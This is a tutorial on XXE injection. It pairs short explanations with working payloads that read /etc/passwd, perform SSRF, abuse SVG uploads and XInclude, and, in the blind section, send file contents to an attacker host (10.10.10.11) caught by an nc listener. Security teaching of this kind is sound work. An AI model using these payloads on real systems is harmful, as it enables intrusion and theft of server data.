XXE (XML EXTERNAL ENTITY) INJECTION

1) What is XXE INJECTION
2) How do XXE Vulnerabilities Arise?
3) Types of XXE Attacks?

1) What is XXE INJECTION?

XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end systems that the application itself can access.

In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.

2) How do XXE Vulnerabilities Arise?

Some applications use the XML format to transmit data between the browser and the server. Applications that do this virtually always use a standard library or platform API to process the XML data on the server. XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and standard parsers support these features even if they are not normally used by the application.

3) Types of XXE Attacks?

- Classic XXE Injection
- Blind XXE Injection

I. Classic XXE Injection :

- How to detect Classic XXE
- Exploiting XXE to Retrieve Files
- Exploiting XXE to SSRF Attack
- Exploiting Hidden XXE Attack:

    . Xinclude Attacks
    . XXE Attack Via File Uploads
    . XXE Attack Via Modifies Content-Type

II. Blind XXE Injection :

- How to detect Blind XXE Using Out of Band
- Exploiting Blind XXE to Exfiltrate Data Out of Band
- Exploiting Blind XXE to Retrieve Data via Error Messages

Classic XXE Injection :

- **How to Detect Classic XXE Vulnerability:** Basic entity test, when the XML parser parses the external entities the result should contain "John" in firstName and "Doe" in lastName. Entities are defined inside the DOCTYPE element.

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
    <userInfo>
     <firstName>John</firstName>
     <lastName>&example;</lastName>
   </userInfo>
```

- **Exploiting XXE to Retrieve Files:**

```
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

 <productId>&xxe;</productId>
```

- **Exploiting XXE to Perform SSRF Attack:**

```
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://localhost/admin"> ]>

 <productId>&xxe;</productId>
```

- **Xinclude Attack :**

```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

- **Exploiting XXE via Image File Upload :**

```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

- **Exploiting XXE via Modified Content-Type :**

```
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
```

Then you might be able submit the following request, with the same result:

```
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```

Blind XXE Injection :

- **Detecting Blind XXE Using Out-of-Band Techniques :**

```
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe; ]>
```

- **Exploiting Blind XXE to Exfiltrate data Out-of-Band :**

use this code as a XXE Payload

```
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://10.10.10.11/pen.dtd"> %xxe; ]>
```

```
# Save this below text as a pen.dtd
# python3 -m http.server 80
```

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://10.10.10.11/?x=%file;'>">
 %eval;
 %exfiltrate;
```

on Kali Linux nc -nvlp 80

- **Exploiting Blind XXE to Retrieve Data via Error Message :**

use this code as a XXE Payload

```
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://10.10.10.11/pen.dtd"> %xxe; ]>
```

```
# Save this below text as a pen.dtd
# python3 -m http.server 80
```

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'file:///any/%file;'>">
 %eval;
 %exfiltrate;
```